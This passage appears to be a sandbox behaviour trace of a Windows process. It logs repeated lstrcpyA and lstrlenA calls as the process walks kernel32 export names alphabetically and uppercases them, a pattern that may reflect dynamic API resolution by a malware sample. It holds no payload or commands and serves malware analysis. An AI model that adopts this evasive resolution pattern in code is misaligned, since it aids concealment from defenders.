lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0118.380] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0118.380] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0118.380] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0118.380] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0118.381] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0118.381] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0118.381] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0118.381] lstrlenA (lpString="BACKUPREAD") returned 10 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0118.381] lstrlenA (lpString="BACKUPSEEK") returned 10 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0118.381] lstrlenA (lpString="BACKUPWRITE") returned 11 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0118.381] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0118.381] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0118.381] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0118.381] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0118.381] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0118.381] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0118.381] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0118.381] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0118.381] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0118.381] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0118.381] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0118.382] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0118.382] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0118.382] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0118.382] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0118.382] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0118.382] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0118.382] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.382] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.382] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.382] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.382] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.382] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.382] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.382] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.382] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.382] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.383] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.383] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.383] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.383] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.383] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.383] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.383] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.383] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.383] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.383] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.383] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.383] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.383] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.383] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.383] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.383] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.383] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.384] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.384] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.384] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.384] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.384] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.384] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.384] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.384] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.384] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.384] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.384] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.384] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.384] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.384] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.384] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.384] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.384] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.385] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.385] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.385] lstrlenA (lpString="BEEP") returned 4 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.385] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.385] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.385] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.385] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.385] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.385] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.385] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.385] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.385] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.385] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.385] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.385] lstrlenA (lpString="CANCELIO") returned 8 [0118.385] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.386] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.386] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.386] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.386] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.386] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.386] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.386] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.386] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.386] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.386] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.386] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.386] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.386] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.386] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.386] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.386] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.386] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.387] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.387] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.387] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.387] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.387] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.387] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.387] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.387] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.387] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.387] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.387] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.387] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.388] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.388] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.388] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.388] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.388] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" 